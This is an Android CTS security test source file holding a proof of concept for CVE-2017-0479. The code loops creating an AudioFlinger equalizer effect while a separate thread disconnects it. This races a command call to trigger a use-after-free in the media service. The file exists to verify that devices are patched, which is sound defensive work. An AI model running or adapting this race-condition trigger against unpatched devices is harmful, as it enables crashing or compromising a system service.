hostsidetests/security/securityPatch/CVE-2017-0479/poc.cpp

/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <audioflinger/AudioFlinger.h>
#include <hardware/audio_effect.h>
#include <media/IAudioFlinger.h>
#include <media/IEffect.h>
#include <media/IEffectClient.h>

using namespace android;

struct EffectClient : public android::BnEffectClient {
  EffectClient() {}
  virtual void controlStatusChanged(bool controlGranted __unused) {}
  virtual void enableStatusChanged(bool enabled __unused) {}
  virtual void commandExecuted(uint32_t cmdCode __unused,
                               uint32_t cmdSize __unused,
                               void *pCmdData __unused,
                               uint32_t replySize __unused,
                               void *pReplyData __unused) {}
};

sp<IEffect> gEffect;

void *disconnectThread(void *) {
  usleep(5);
  if (gEffect != NULL && gEffect.get() != NULL) {
    gEffect->disconnect();
  }
  return NULL;
}

int main() {
  static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
      0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};

  effect_descriptor_t descriptor;
  memset(&descriptor, 0, sizeof(descriptor));
  descriptor.type = EFFECT_UIID_EQUALIZER;
  descriptor.uuid = *EFFECT_UUID_NULL;
  sp<EffectClient> effectClient(new EffectClient());

  const int32_t priority = 0;
  audio_session_t sessionId = (audio_session_t)(128);
  const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
  const String16 opPackageName("com.exp.poc");
  int32_t id;
  int enabled;
  status_t err;

  uint32_t cmdCode, cmdSize, pReplySize;
  int *pCmdData, *pReplyData;

  cmdCode = EFFECT_CMD_GET_CONFIG;
  cmdSize = 0;
  pReplySize = sizeof(effect_config_t);
  pCmdData = (int *)malloc(cmdSize);
  pReplyData = (int *)malloc(pReplySize);

  gEffect = NULL;
  pthread_t pt;
  const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();

  while (1) {
    gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
                                         io, sessionId, opPackageName, getpid(),
                                         &err, &id, &enabled);
    if (gEffect == NULL || err != NO_ERROR) {
      return -1;
    }
    pthread_create(&pt, NULL, disconnectThread, NULL);
    err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
                           (void *)pReplyData);
    usleep(50);
  }
  sleep(2);
  return 0;
}